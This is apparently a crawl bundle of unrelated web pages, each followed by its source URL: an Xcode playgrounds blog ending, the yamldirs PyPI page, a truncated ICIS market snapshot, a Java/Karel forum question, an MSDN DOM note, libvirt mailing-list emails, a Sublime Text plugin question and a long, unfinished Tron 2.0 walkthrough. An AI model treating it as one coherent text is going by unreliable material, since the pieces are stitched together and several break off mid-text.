Now, we can finally import our framework into our playground. At the top of your playground file, add:
import HelloPlayground
Now, we’ll run the hello() function we declared earlier. Oh NO! ERRORS!
Our original function, hello() doesn’t specify access control explicitly, so it defaults to internal which means we can’t access it outside of the module. There’s two ways we can fix this problem. The first way to mark that function explicitly public. This way isn’t very safe if we don’t want this function to be public in our general project, but we want to be able to access it here. Instead, we can use the new @testable keyword provided in Xcode 7 to import our framework and use it as if we were internal.
Adding Functionality
Remember that whenever we add new features that we want accessible from our playground, we’ll have to rebuild our framework.
Going Forward
I have been using this as a great way to quickly iterate new features I’m adding without having to constantly rebuild the project. These features can then be copied into the project and quickly integrated with confidence.
Clean Up
If you’re like me, and like to keep a clean project, you can clear out quite a bit of the default files added by the framework. I’m not sure if this will have other implications, but it won’t affect your playgrounds usage. First delete the entire HelloPlayground-iOS folder, including the .h, and the Info.plist.
Now we’ve removed the Info.plist file, so we’re going to specify to just use our the plist already existing in our project. Do this by navigating to the framework’s settings page, selecting Choose Info.plist File… and selecting your project’s plist.
Growing Pains
I realize that this is a lot of work, but if you’re on a project for a long time, it could save you more time in the long run. It’s important to remember that these tools are still new, and they haven’t quite reached maturity yet. Hopefully Apple will continue to iterate and build new features onto playgrounds to make uses like this even easier in the future.
:)
More
If you’re interested, follow me on twitter, or see what some of my colleagues and I are up to at Intrepid Pursuits.
|
https://medium.com/@LogMaestro/adding-playgrounds-to-your-xcode-project-79d5ea0c7087
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CC-MAIN-2017-43
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en
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refinedweb
|
yamldirs - create directories and files (incl. contents) from yaml spec.
yamldirs
Create directories and files (including content) from yaml spec.
This module was created to rapidly create, and clean up, directory trees for testing purposes.
Installation:
pip install yamldirs
Usage
The YAML record syntax is:
fieldname: content fieldname2: | multi line content nested: record: content
yamldirs interprets a (possibly nested) yaml record structure and creates on-disk file structures that mirrors the yaml structure.
The most common usage scenario for testing will typically look like this:
from yamldirs import create_files def test_relative_imports(): files = """ foodir: - __init__.py - a.py: | from . import b - b.py: | from . import c - c.py """ with create_files(files) as workdir: # workdir is now created inside the os's temp folder, containing # 4 files, of which two are empty and two contain import # statements. Current directory is workdir. # `workdir` is automatically removed after the with statement.
If you don’t want the workdir to disappear (typically the case if a test fails and you want to inspect the directory tree) you’ll need to change the with-statement to:
with create_files(files, cleanup=False) as workdir: ...
yamldirs can of course be used outside of testing scenarios too:
from yamldirs import Filemaker Filemaker('path/to/parent/directory', """ foo.txt: | hello bar.txt: | world """)
Syntax
The yaml syntax to create a single file:
foo.txt
Files with contents uses the YAML record (associative array) syntax with the field name (left of colon+space) is the file name, and the value is the file contents. Eg. a single file containing the text hello world:
foo.txt: hello world
for more text it is better to use a continuation line (| to keep line breaks and > to convert single newlines to spaces):
foo.txt: | Lorem ipsum dolor sit amet, vis no altera doctus sanctus, oratio euismod suscipiantur ne vix, no duo inimicus adversarium. Et amet errem vis. Aeterno accusamus sed ei, id eos inermis epicurei. Quo enim sonet iudico ea, usu et possit euismod.
To create empty files you can do:
foo.txt: "" bar.txt: ""
but as a convenience you can also use yaml list syntax:
- foo.txt - bar.txt
For even more convenience, files with content can be created using lists of records with only one field each:
- foo.txt: | hello - bar.txt: | world
Note
This is equivalent to this json: [{"foo.txt": "hello"}, {"bar.txt": "world"}]
This is especially useful when you have a mix of empty and non-empty filess:
mymodule: - __init__.py - mymodule.py: | print "hello world"
directory with two (empty) files (YAML record field with list value):
foo: - bar - baz
an empty directory must use YAML’s inline list syntax:
foo: []
nested directories with files:
foo: - a.txt: | contents of the file named a.txt - bar: - b.txt: | contents of the file named b.txt
Note
(Json) YAML is a superset of json, so you can also use json syntax if that is more convenient.
Extending yamldirs
To extend yamldirs to work with other storage backends, you’ll need to inherit from yamldirs.filemaker.FilemakerBase and override the following methods:
class Filemaker(FilemakerBase): def goto_directory(self, dirname): os.chdir(dirname) def makedir(self, dirname, content): cwd = os.getcwd() os.mkdir(dirname) os.chdir(dirname) self.make_list(content) os.chdir(cwd) def make_file(self, filename, content): with open(filename, 'w') as fp: fp.write(content) def make_empty_file(self, fname): open(fname, 'w').close()
Download Files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
|
https://pypi.org/project/yamldirs/
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CC-MAIN-2017-43
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en
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refinedweb
|
02 May 2013 18:13 [Source: ICIS news]
HOUSTON (ICIS)--Here is Thursday’s midday ?xml:namespace>
CRUDE: Jun WTI: $92.61/bbl, up $1.58; June Brent: $101.68/bbl, up $1.73
NYMEX WTI crude futures surged in morning trading as
RBOB: Jun: $2.7293/gal, up 1.00 cent/gal
Reformulated blendstock for oxygen blending (RBOB) gasoline futures prices began to rebound from Wednesday’s fall of more than 8 cents/gal. US jobless benefits claims dropped last week to their lowest level in five years, lending some support to RBOB futures.
NATURAL GAS June: $4.082/MMBtu, down 24.4 cents
The front month on the NYMEX natural gas market dropped nearly 6% through Thursday morning trading, as the US Energy Information Administration (EIA) reported a higher-than-expected inventory addition for the week ended 26 April in its latest weekly gas storage report.
ETHANE: higher at 29.25 cents/gal
Ethane spot prices were slightly higher in early trading, following strength in crude oil and stable supply/demand fundamentals.
AROMATICS: Benzene wider at $4.25-4.42/gal
Prompt benzene spot prices were discussed at $4.25-4.42/gal FOB (free on board) early in the day. The morning range was wider from $4.25-4.35/gal FOB late Wednesday.
OLEFINS: ethylene wider at 50-56 cents/lb; RGP bid steady at 47.5 cents/lb
May ethylene bid/offer levels widened to 50-56 cents/lb on Thursday, compared to a trade the previous day at 54 cents/lb. May refinery-grade propylene (RPG) bid levels were steady at 47
|
http://www.icis.com/Articles/2013/05/02/9664809/noon-snapshot-americas-markets-summary.html
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CC-MAIN-2015-11
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en
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refinedweb
|
hi.. I am Sumit from Kolkata
I am a student...
today is my 1st day with java and i am trying to run a simple programm in karel world..
my code is
import stanford.karel.*; public class CheckerboardKarel extends SuperKarel { // You fill in this part public void run() { move (); pickBeeper (); move(); turnLeft(); } }
but when i click the run button the error poped in console tab is
Exception in thread "main" java.lang.NullPointerException
at acm.program.Program.main(Program.java:917)
at stanford.karel.Karel.main(Karel.java:202)
i tried a lot to figured it out but i can't did..
i am using "eclipse" software..
untitled.JPG
screenshot of my monitor is attached...
someone help me please...
|
http://www.javaprogrammingforums.com/whats-wrong-my-code/13106-today-1st-day-java-i-am-screwed.html
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CC-MAIN-2015-11
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en
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refinedweb
|
Create New Nodes in the DOM
The XmlDocument has a create method for all of the node types. Supply the method with a name when required, and content or other parameters for those nodes that have content (for example, a text node), and the node is created. The following methods are ones that need a name and a few other parameters filled to create an appropriate node.
Other node types have more requirements than just providing data to parameters.
For information on attributes, see Creating New Attributes for Elements in the DOM. For information on element and attribute name validation, see XML Element and Attribute Name Verification when Creating New Nodes. For creating entity references, see Creating New Entity References. For information on how namespaces affect the expansion of entity references, see Namespace Affect on Entity Reference Expansion for New Nodes Containing Elements and Attributes.
Once new nodes are created, there are several methods available to insert them into the tree. The table lists the methods with a description of where the new node appears in the XML Document Object Model (DOM).
|
https://msdn.microsoft.com/EN-US/library/k44daxya
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CC-MAIN-2015-11
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en
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refinedweb
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Hi, Daniel Thank you for your reviewing. I agree your fixes. Also I agree this issue should be handled by hypervisor. But for Xen, if # of vcpus are out of range, XEN_DOMCTL_setvcpu_context return the -EINVAL. So the inactive domain cannot boot. For this circumstances, it is better to handle # of vcpus error by libvirt. c.f. Then I go to Next Bug fixes. Thanks Atsushi SAKAI Daniel Veillard <veillard redhat com> wrote: > On Wed, Aug 15, 2007 at 05:01:04PM +0900, Atsushi SAKAI wrote: > > Hi, > > > > This patch adds virsh setvcpus range check for negative value case. > > > > for example > > to the inactive domain > > virsh setvcpus -1 > > sets vcpus=4294967295 > > And cannot boot the inactive domain. > > I would rather change the test > > if (!count) { > > to > > if (count <= 0) { > > rather than use the unsigned cast to catch it. > > There is 2 things to note: > - virDomainSetVcpus actually do a check but since the argument is an > unsigned int we have a problem > if (nvcpus < 1) { > virLibDomainError(domain, VIR_ERR_INVALID_ARG, __FUNCTION__); > return (-1); > } > I would be tempted to do an (internal ?) > #define MAX_VCPUS 4096 > and change that check to > if ((nvcpus < 1) || (nvcpus > MAX_VCPUS)) { > to guard at the API against unreasonnable values. > > - There is actually a bug a few lines down in virsh, when checking for the > maximum number of CPUs for the domain: > maxcpu = virDomainGetMaxVcpus(dom); > if (!maxcpu) { > as -1 is the error values for the call. so the test there really ought to be > if (maxcpu <= 0) > one could argue that 0 should be the error value returned by > virDomainGetMaxVcpus but since it's defined as -1 in the API, the test > must be fixed. > > I have made the 2 changes to virsh but not the one to virDomainSetVcpus > where it could be argued it's the hypervisor responsability to check the > given value. Opinions ? > > Thanks for raising the problem ! > > Daniel > > -- > Red Hat Virtualization group > Daniel Veillard | virtualization library > veillard redhat com | libxml GNOME XML XSLT toolkit > | Rpmfind RPM search engine
|
https://www.redhat.com/archives/libvir-list/2007-August/msg00136.html
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CC-MAIN-2015-11
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en
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refinedweb
|
I seem to be missing something - I've created an autocomplete plugin that works, but doesn't show the popup with the list of choices - only works to tab through the possibilities.
Is there a tutorial somewhere? Am I missing a setting? I started with the Google autocomplete example, and man, everything looks the same.
Here's the code:
- Code: Select all
import sublime_plugin, sublime, re
class LangCompletions(sublime_plugin.EventListener):
def on_query_completions(self, view, prefix, locations):
pt = locations[0] - len(prefix) - 2
ch = view.substr(sublime.Region(pt, pt + 2))
if ch != '##':
return []
pattern = re.compile( 'LG\_.' )
if re.match( pattern, prefix ):
handle = file( 'text-file-with-LG_-stuff.txt', 'rb')
pattern = re.compile( prefix )
results = []
for line in handle.readlines():
match = re.match( pattern, line )
if match:
langkey = line.split( '=' )
value = langkey[0] + '##'
display = '##' + value
results.append( ( display, value ) )
results.sort()
return results
return 0
Anything missing?
|
http://www.sublimetext.com/forum/viewtopic.php?f=6&t=6050
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CC-MAIN-2015-11
|
en
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refinedweb
|
Hi All, I've noticed a regression in libvirt 0.9.8 on some of my kvm test machines # virsh start opensuse12 error: Failed to start domain opensuse12 error: Cannot open network interface control socket: Permission denied Opening a control socket for setting MAC addr, etc. failed with EACCES. In 0.9.7, the socket was opened with domain AF_INET, type SOCK_STREAM, which of course works on this system. In 0.9.8, the socket is opened with AF_PACKET, SOCK_DGRAM. Interestingly, a small test program calling 'socket(AF_PACKET, SOCK_DGRAM, 0)' works on this system. libvirt is built with '--without-capng --without-apparmor --without-selinux' and libvirtd is running with uid=euid=0. I'm really baffled why this fails in libvirtd but works otherwise. Any ideas? Thanks, Jim
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/socket.h> #include <netpacket/packet.h> #include <net/ethernet.h> int main(int argc, char **argv) { int fd; printf("Testing socket(2)...\n"); printf("Opening AF_INET, SOCK_STREAM socket\n"); fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { printf("socket(2) failed with %s\n", strerror(errno)); exit(1); } close(fd); printf("Opening AF_PACKET, SOCK_DGRAM socket\n"); fd = socket(AF_PACKET, SOCK_DGRAM, 0); if (fd < 0) { printf("socket(2) failed with %s\n", strerror(errno)); exit(1); } close(fd); printf("Done!\n"); exit(0); }
|
https://www.redhat.com/archives/libvir-list/2011-December/msg00772.html
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CC-MAIN-2015-11
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en
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refinedweb
|
Tron 2.0: FAQ/Walkthrough by Der Schnitter
Version: v1.1.0 | Updated: 2003-10-23 | Original File
Tron 2.0 Walkthrough by Thomas "Schnitter" Leichtle Version v1.1.0 -- 16th October, 2003 // A variant of the Hello World program #include <iostream> using namespace std; int main() { cout << "Greetings, Programs!" << endl; return 0; } ******************************************************************************* Table of Contents ******************************************************************************* 01. Introduction 02. Legalese 03. Basic Game Mechanics a) The Stats b) Memory and Utilities c) Additional Info 04. Primitives, Subroutines and Important Objects a) Primitives and Combat Subroutines b) Defense Subroutines c) Utility Subroutines d) Objects 05. Characters 06. Enemies 07. Notes for the Walkthrough 08. Walkthrough a) Unauthorized User a.a) Program Initalization a.b) Program Integration b) Vaporware b.a) Lightcyclearena and Gridbox b.b) Prisonercells b.c) Transportstation b.d) Primary Digitizer c) Legacy Code c.a) Alans Desktop PC d) System Restart d.a) Packet Transport d.b) Energy Regulator d.c) Power Occular e) Antiquated e.a) Testgrid e.b) Main Processor Core e.c) Old Gridarena e.d) Main Energy Pipeline f) Master User f.a) City Hub f.b) Progress Bar f.c) Outer Gird Getaway f.d) fCon Labs / Ma3a gets saved f.e) Remote Access node g) Alliance g.a) Security Server g.b) Thornes Outer Partition g.c) fCon Labs / Data Wraith Preparation g.d) Thornes Inner Partition g.e) Thornes Core Chamber h) Handshake h.a) Function Control Deck i) Database i.a) Security Socket i.b) Firewall i.c) fCon Labs / Alan Lost i.d) Primary Docking Port i.e) fCon Labs / Security Breach i.f) Storage Section j) Root of all Evil j.a) Construction Level j.b) Data Wraith Training Grid j.c) fCon Labs / The fCon team takes over j.d) Command Module k) Digitizer Beam k.a) Not compatible 09. Subroutines from Bins by Sublevel and COW locations 10. Lightcycle Game mode a) Power Ups b) Additional Information c) The Stats of the Lightcycles d) List of the Racetracks e) What is unlocked when 11. FAQ 12. Credits 13. Changelog 14. Version History ******************************************************************************* 01. Introduction ******************************************************************************* Greetings Programs, the information contained within this document should help you on getting through the game of Tron 2.0, which carries on the tradition started in the Tron movie of some 20 years ago. For those that have not seen the movie, I recommend that you do this before playing the game. It is not a must, but it will help you get into the mood and design that is carried on in the game. Also it will help you deal with the background info you gain during the game, since there are a few references to the original movie or it's char- acters which might not be understood easily if you've not seen it. This is also my first ever Walkthrough, so I do hope that you forgive the mis- takes I might make here and help me out with it. I will especially need help on some of the terms used in the original, English version of the game, since I live in Germany and did use the German version of the game which has all dialog synchronized and all texts translated. ******************************************************************************* 02. Legalese ******************************************************************************* This walkthrough is a work I have poured many hours into and I do hope that anyone that wants to copy or rework this guide will acknowledge this by giving credits to all the people that helped me and to me, of course. Also it would not be very nice if you sold this walkthrough since it is intended as a free work to be shared with all people who need it. Sadly I will not be able to stop anyone from misusing it, but know this, you shall be cursed by all people who gave their contribution hereto. ******************************************************************************* 03. Basic Game Mechanics ******************************************************************************* Tron 2.0 is at it's core a standard FPS game, with a few nice twists concerning weapons and character enhancement. These twist make the game that much more interesting. But it also needs some explanation as to how the system of character evolvment works. a) The Stats - Build Points These work in much the same way as experience points do in RPG. Each time you gain 100 Build points you will be able to update your stats. At each update you will be given 7 points which you can allocate to the stats. You can allocate a maximum of 20 points to any of the five stats and during the game you will earn enough Build points for 63 update points (not enough to bring all stats to full). - Health This stat should be pretty self explanatory. Each update point will add five health points to your maximum health. If you have allotted 20 update points to it you will gain an extra 100 health point bonus. - Energy This, too, should be self explanatory. The upgrade works just like with the health stat (+ 5 energy/point - 100 point bonus at 20 upgrade points). - Weapon Efficiency This stat will decrease energy useage of your weapons if you spend points on it. This will be useful later in the game when you are able to upgrade weapons with subroutines like 'Corrosion' or 'Megahurtz' as they will ad- ditionally increase the energy useage of weapons. - Transferrate Increasing this stat will lower the time it takes to download subroutines, e-mails and permissions from bins or core dumps. - Processor A longer bar here means that it will not take as much time to defragment damaged memory sectors, port subroutines or disinfect them. - Upgrade recommendations for the stats I would suggest that the main part of the upgrade points should be spent primarily on the first three stats. This is because I never found Processor or Transferrate as practical as the others. I do know that opinions may differ here, but I usually had enough time to port, download or disinfect, but sometimes I ran out of energy or health extremely fast. b) Utilities and Memory - The memory You can see how much memory you have by pressing 'F1' and looking at the empty slots in the outer ring there. Depending on the system you are in the configuration and amount of this memory will vary. Memory is used for mounting subroutines and you can change those subroutines at any time, even in the midst of a battle since pressing 'F1' will also pause the game. - The porting Icon In the upper left you will find a small circle with the same symbol in it as unported subroutines display. To port a subroutine just drag and drop it here. - The defragmentation Icon In the lower middle of the ring you will find the Icon for defragmentation. Your memory can only become fragmented during battle and if you have a few empty memory blocks. Should your memory become fragmented just drag and drop the innards of the affected memory block here. - The virus killer icon If one of your subroutines got infected just drag and drop it over here and wait for it to become cleansed of the impurities. c) Additional Info - Virus infection Should one of your subroutines become infected try to disinfect it as soon as possible. Also see if you can seperate it from other subroutines adjacent to it by creating at least one empty memory slot between the infected and the uninfected subroutines. This usually means unmounting a subroutine, but it will also keep the Virus from spreading. ******************************************************************************* 04. Primitives, Subroutines and Important Objects ******************************************************************************* Primitives are the basic shape weapons and you can activate that form at any time. If you want to use any of the two upgrades however you will have to in- stall the according combat subroutine in your memory. The memory blocks you need for a Subroutine are determined by it's version. Alpha subroutines need 3 blocks, beta need 2 blocks and gold ones need only one block of memory. The Objects section will describe the few objects you can pick up with your action key. a) Primitives and the Combat Subroutines - Disc Primitive The Disc Primitive is the first weapon you will receive in the game. It will also be the one most used, since it is in it's basic form the only weapon that does not use any energy. Also coupled with the right Utilities it will be a very formidable and powerful weapon. - Disc Sequencer (Subroutine) The Sequencer subroutine let's you throw 2 or more Discs in quick sucession for an only miminal energy cost. The only drawback is that you can only block after all the Discs have returned to your hand, which can sometimes get you into grizzly situation, so choose wise when to use it. - Disc Cluster (Subroutine) The Cluster Disc is good for groups of enemy since it will work almost like a fragmentation grenade. Sadly there are not that many large groups in the game so it's usefulness might not be exploited to it's fullest. - Ball Primitive The Ball Primitive (and one of it's subroutines) is the weapon used by the Z-Lots throughout the game. It's low accuracy coupled with that it uses energy made it a weapon I did not use very often. - Ball Launcher (Subroutine) The Ball Lauchner can be a very deadly weapon, especially on the higher version levels with it's higher rate of fire. It is fairly accurate also. Since it also does some splash damage it is also effective against groups of enemies. - Ball Drunken Dims (Subroutine) This is the most powerful incarnation of the Ball Primitive, it's accuracy will improve by increasing the version. Does splash damage and can be put to good use against groups. - Rod Primitive (aka Prod) The Rod, in it's most basic incarnation is a weapon with which you have to get close to the enemy, since it can only be used in close combat. This weapon should only be used in rare circumstances, where stealth is possible and enemies are far and between. Energy usage is also very high for this weapon. - Rod Suffusion (Subroutine) You want a shotgun, here you have a shotgun. Powerful at short ranges, gets more accurate in higher versions and more powerful. If you don't know how shotguns are used, well, then this weapon is not for you. :) - Rod LOL (Subroutine) Did I hear anyone say sniper? Well, here is your all purpose, kill in one headshot sniper rifle. High Energy useage, but also very powerful against single enemies. Kills most opponents in one shot. Also good to take out Finders at long ranges. Be careful if you pair a gold LOL up with a gold Corrosion and Megahurtz, because you will be down to only 3 or 4 shots with this weapon, although they will be very powerful. - Blaster Primitive Standard Machinegun, high energy useage, low accuracy, low power. Should go to the trash bin. 'Nuff said. - Blaster Energy Claw (Subroutine) You know you always wanted to be a vampire. This subroutine transforms you into one. Works on single enemies as well as groups (if they are hugging each other). It transforms the health it takes from the enemy to energy for you. Therefore this weapon will only use energy once the enemy runs out of health. It is a very useful weapon against the shield ICPs and also against most other single enemies as the enemy will not be able to attack as long as the Claw grips him. - Blaster Prankster Bit (Subroutine) This is the single most powerful weapon in the whole game, which is why you only get it in the last part of it. Fires a guided missile that will create a black hole at it's impact point. For this weapon to work you will have to hold onto the mouse button. Steering is the same as with the Disc. If you release the mouse button before it impacts into something it will explode prematurely. The lethality radius will increase in higher versions . Only drawback is the high energy useage, so if you want to use it often better have a white energy patch routine nearby. :) b) Defense Subroutines - Submask Your standard helmet. Depending on the version it will give you either 10%, 12% or 15% of protection. - Encryption Standard Body Armor, offers protection of 15%, 25% or 30%. - Peripheral Seal Armor for the arms, offers protection of 8%, 9% or 12%. - Support Safeguard Armor for the legs, offers protection of 8%, 9% or 12%. - Base Damping Armor for the feer, offers protection of 5%, 6% or 8%. - Viral Shield Helps protect your subroutines from becoming infected with a virus. Protection offered will be either 30%, 50% or 75%. c) Utility Subroutines - Fuzzy Signature This will help you sneak up on enemies. Installing it means your steps make 25%, 50% or even 75% less noise than usual. - Power Block This subroutine is only useful for the Disc Block, but do not write it off yet, since it will be very useful. The Disc might (or even should be, IMHO) your primary weapon throughout the game. This means you will also have to master the art of blocking. And returning an enemy Disc to it's owner and doing damage by this is no bad thing, I would say. In it's gold version it is powerful enough to take out most enemies with one Power Block. - Megahurtz Increases the damage potential of weapons, but also increases their energy useage. This is helpful with every weapon, but it will be best coupled with the Disc Primitive. Since the Disc Primitive uses no energy you get a damage boost on it for free. :) - Corrosion This will 'poison' the enemy if you hit him with a weapon. The time the enemy will stay posioned will increase with version. Again it will also increase energy useage of a weapon, which makes this another good add-on for the Disc Primitive. - Primitive Charge This Subroutine will increase the damage your Primitives (!) do slightly. Since no energy is needed to employ it, it will be a very useful addition indeed if you fancy on using the Primitives only or mostly (the Disc comes to mind). - Triangulation This will give you a sniper scope. Depending on version it will give you the option to zoom in further on a target. This will transform some of the weapons into sniperweapons. Again a must have I would think. - Y-Amp You really want to reach that archivebin with the much need subroutine but can not jump high enough? Well, install the Y-Amp it will make you jump, jump higher that is. Higher version will increase the jump height. - Profiler This is a subroutine that displays information about enemies. The higher the version the better the info you get. - Virus Scan Will tell you if subroutines you want to download are infected. On beta it will tell you which subroutines specifically are infected and on gold it will disinfect them on download. d) Objects - Build note When you find a Build note it will increase your version by 2 points. There is a total of 100 notes hidden in the whole game. The number that can be found in each level is given in the upper left corner of the HUD. - Code Optimization Ware You will love these little critters. Upon useing one (with the use key) they will give you the option to increase the version level of one of your subroutines (e.g. alpha -> beta). - Core Dumps Upon defeating an enemy a core dump will appear. Picking it up with the use key will replenish some of your health and/or energy. The core dump will get weaker over time and vanish altogether. Also you may find certain permissions or subroutines in the enemies core dump. As they will also fade into nothingness I suggest that you pick them up as soon as possible. ******************************************************************************* 05. Characters ******************************************************************************* Here listed are the characters you will meet throughout the game. - Jet Bradley He is the son of Alan Bradley, programmer of the original Tron program and co-programmer of Ma3a. Jet is a bit of the rebellious kind as you will learn from the e-mail you can download throughout the game. - Alan Bradley The father of the main character. He apparently got kidnapped and one of your objectives will be to locate him. - Ma3a An AI programmed mainly by Lora Bradley - the late wife of Alan Bradley - and Alan Bradley. Ma3a is responsible for digitizing Jet and transporting him into the world inside the computer. - Thorne / The Master User Thorne is a former Encom employee, who worked in security. He sold the dizitizing technology to Encoms rival fCon. During an experiment to prove that the technology he sold works something goes awry and his form is corrupt- ed. Now he is trying to gain power in the computer world. He is also the cause for the spreading corruption. - Kernel The commander of the ICP units in Ma3a's systems. He will not tolerate any unauthorized programs in his system. He is also a powerful and formidable warrior. - Mercury A program programmed by the mysterious user Guest. Sent to help you gain ac- cess to Ma3a. Current version is v6.2.1 - The fCon Trio This Trio will trouble you later in the game. They are the ones responsible for Alans disappearance. They also do everything to get the technology working for fCon. - Several Programs During your quest you will find many helpful civilian programs. Do not derez them as it will end your game. ******************************************************************************* 06. Enemies ******************************************************************************* This section lists the enemies that you will meet during the game. - ICPs ICPs come in three flavors. First there is the basic grunt with a weak armor and only using a standard Disc Primitive. Then there is the upgraded grunt, signified by the forcefield around him. He will use the Disc Sequencer. The last kind of ICP will carry a shield around him. He might use a Disc Cluster subroutine. To defeat it use a weapon with splash damage or circle your Disc behind him and then return it to you to hit it from behind. - Finder Small, floating robots. Not very strong, but due to their size hard to hit. The laser they fire is deadly accurate. Can be fatal in large numbers. Take them out as fast as possible. Also, if the chance is there sneak up from be- hind to destroy them. Upon destruction I recommond that you are not too close to them as they will explode in a large radius and might take you with them. I found these to be the single most annoying enemy in the whole game. - Z-Lots Z-Lots are former civilian programs that have been transformed by the cor- ruption. They will use both the Ball Primitive and the Ball Launcher as weapons. They are fairly easy to defeat, but can infect your subroutines with a virus. - Rector Scripts These are powerful entities that are spreading the corruption. As weapon they will use the Ball Drunken Dims subroutine. They also have a high protection and can take a few hits. Upon defeat they will explode, so don't be to close to them when they go down. As with the Z-Lots these enemies will be able to infect your subroutines with a virus. - Resource Hogs Their armor strenght resembles that of the ICPs, but they use the Rod Suf- fusion subroutine as weapons. This should make it clear that they should be take out at long range, where their weapons are not as effective. Much less deadly than ICPs. (Mircosoft gets their share of Hogs. :) ) - Seekers Welcome to the search engine from hell. These beast are a pain in the you know what to take out. You will only meet two in the whole game. Use Sequencer or any other powerful routine to take it down fast. Also take care of the Resources Hogs helping the first one and the Data Wraiths helping the second one. - Data Wraiths These are human users much like Jet, but trained to infiltrate other computers. They have a cloaking ability and they can run with a short burst of speed. Their armor though is weak, as is their weapon the Mesh Primitive. Luckily they don't use the Energy Claw or Prankster Bit subroutine. They should not pose much of a problem, as they are more apperance than power. ******************************************************************************* 07. Notes for the Walkthrough ******************************************************************************* - Build notes The location of most Build notes in the game is random, therefore I can not give exact locations for them. The number of Build notes found in a level will also be given beside the sublevel name. - Downloadables (e-mails, subroutines, permissions) The location of the downloadables remains the same. The location of each will be listed in the walkthrough. - Permissions Permissions will be abreviated like this: P7 (= permission 7) - Archive bins I will list the permissions needed for each archive bin like this: bin(npn) = bin needs no permission / bin(3;4) bin needs P3 and P4 Also archive bins will be called just 'bins' througout the walkthrough. - Floating Boxes, crates, cubes (whichever you like to call them) These will be called just boxes throughout the walkthrough. - Code Optimization Ware Code Optimization Ware will receive this acronym: COW (Mooooooo!) :) - Subroutines status Subroutines will receive depending on their status the following suffixes: (a) = Alpha level subroutine (b) = Beta level subroutine (g) = Gold level subroutine (i) = Infected subroutine (np) = Subroutine has to be ported in the Stats screen (##) = A number telling the energy cost to download So 'Submask (b)(i)(np)(45)' means that you will download a Beta level Sub- mask subroutine, that is infected and has to be ported and with a download cost of 45 Energy. - Memory configuration The memory configuration for each sub-level of the game in will be written beside the sublevel name in this manner: (2;5;1;1) This means that you have a set of 2 connected blocks, a set of 5 connected blocks and 2 sets of single memory blocks to mount subroutines in. - Sublevel subject line A sublevel subject line will look like in this example: a.a) Program Initialization (2;3;6) (3 Build notes) -> Name of sublevel; Memory blocks available; Build notes hidden Sublevels that are only Ligthcycle races or cutscenes will not contain any information about memory blocks or Build notes. - Version info At the end of the walkthrough for a given sublevel I will put the highest achieveable version up to that point. Remember that sometimes you are given Build points on entering a sublevel exit. - Sublevels and Mainlevels Each Mainlevel (e.g. Vaporware) is divided into several sublevels. This only for clarification purposes. And now onto the main part, which is why you probably came here in the first place. :) ******************************************************************************* 08. Walkthrough ******************************************************************************* So here we are, you have pressed the start button for the single player game and are first treated to the intro. After watching (or skipping) it the game starts. a) Unauthorized User a.a) Program Initialization (2;3;6) (3 Build notes) After materializing you are first greeted by Byte (who is quite full of himself I might add). He will offer you to do a tutorial, which I re- commend you do in any case as you will be rewarded with 105 Build points for doing the Basic tutorial. This will also give you a head start in stats. I will not give any hints on the tutorial other than to do what Byte says. If you like you can skip the combat tutorial, since it will hold no rewards (permission 7 will be gifted onto you magically). But do re- member to heal up before entering the datastream back to the point where you materialized. Now the fun will start. After exiting the datastrem and walking into the main hall you will be greeted by a few Z-Lots that you should derez quickly. After this follow Byte to the lift and go down. Now you should first turn left. In this area you will find a few boxes and two bins (npn) with e-mails in them. Now go back to the lift and down the right way to where Byte will play key again. Talk to the program then follow Byte down the corridor. After noting that you can not jump high enough follow Byte to the next force field. On deactivation go in, and right, but do not use the ramp but rather the ledge above it. You will end up on a platform with a bin (npn) containing an e-mail and a P8. Now go back and use the ramp, either left or right (it does not matter but right is shorter) and go to the blocked bridge. Activate the panel beside it to turn it off for a few seconds and thereby removing the blockage, which will free ROMie and give you the chance to raid the bins on the other side, which is what we are going to do now. The first bin(npn) right behind the bridge will give you the option to download the 'Y-Amp (a)(25)' and the 'Blaster Primitive (25)'. After raiding this bin you will first have to fight back a few Z-Lots that spawned on the far side of the bridge. Then go to the other side of the room and get to the other bin by jumping on some of the smaller boxes. The bin(2;3;8) contains P7 and an e-mail. If you want or need you can heal up at the patch routines. The Y-Amp should be installed by now. Go back to the room where you couldn't quite jump high enough and defeat any remaining Z-Lots there. One of them will hold a 'Profiler(a)(i)' subroutine ready for download in his core dump. Now jump onto the ledge and go down the corridor to the boxes and the next bin(2;3;7) with a 'Profiler (a)(25)' and an e-mail. Now go to the end of the corridor to finish this sublevel and to see a cutscene. Version: v1.3.3 a.b) Program Integration (2;3;6) (4 Build notes) Another short cutscene and you are good to go for this part. Here you will see your first Code Optimization Ware. Sadly you will be forced to use it here and now, or the game (specifically Byte) will not progress. Since the selection is not great and you will soon enough find a Gold Profiler, I recommend to optimize the Y-Amp. After using the COW Byte, in his infinite wisdom, will note that you do not yet have the per- mission to open the door. Follow Byte, and while your are at it, you might relieve the two bins (npn) of their e-mails. Be careful in your advance though, since an ICP will wait at the lower end of the ramp. Now Byte will open a door in the wall. Jump over and traverse the corridor and be prepared to fight back a few Z-Lots after jumping down on the far end. Now you have to jump through the corridor with the corroded floor and upon reaching its end you will have to destroy another Z-Lot. Now turn left and go to the boxes. Duck down, to reach the bin(npn) hidden behind them with P1 and 'Fuzzy Signature (a)(25)' in it. Now go to the forcefield and de- activate it with the panel on its right side (P1 needed) and enter the datastream behind it to join up with Byte again. Go back to the door at the beginning of the sublevel and open it with the newly gained permission. Now follow the only corridor that you have access to now, sneak up on the ICPs and take them out. One of the ICPs will have the P4 in it's core dump. Now talk to the program outside of the ICPs room. Go on a bit to see a corridor to your right with a Sec Rezzer at its end and follow it down. Turn right again to see a few boxes and a bin (1;2) containing an e-mail. Then enter the small corridor right after the boxes and follow it until you reach a room with a broken bridge. Here jump over to the right and onto the boxes to reach the bin(1) with P4 and 'Submask (a)(np)(15)' in it. Now go back to where you cloud jump over the bridge, but look down and jump onto the bin(1) floating there to get a P2. Now use the boxes to jump to the other side of the bridge. Here you will have to duck through the small hole to end up below a room with a broken glass floor. Go to the broken part and jump up to gain access to the bin(1;4) here. It contains P2, 'Profiler (b)(35)', 'Virus Scan (a)(25)' and 'Y-Amp (a)(25)'. Now go back to the bridge and use the corridor with the small upwards slope and derez any ICPs in the area. If you want you can now deactivate any Sec Rezzers and access the bin with the e-mail since you now should have the needed permission. Then go ahead to the room with the patch routines in it and activate the panel on it's far end to reroute the power stream blocking your way. Be on your guard as a few ICPs will be spawned to keep you from exiting this section. After their deresolution, go back to the room with the power streams and go down to 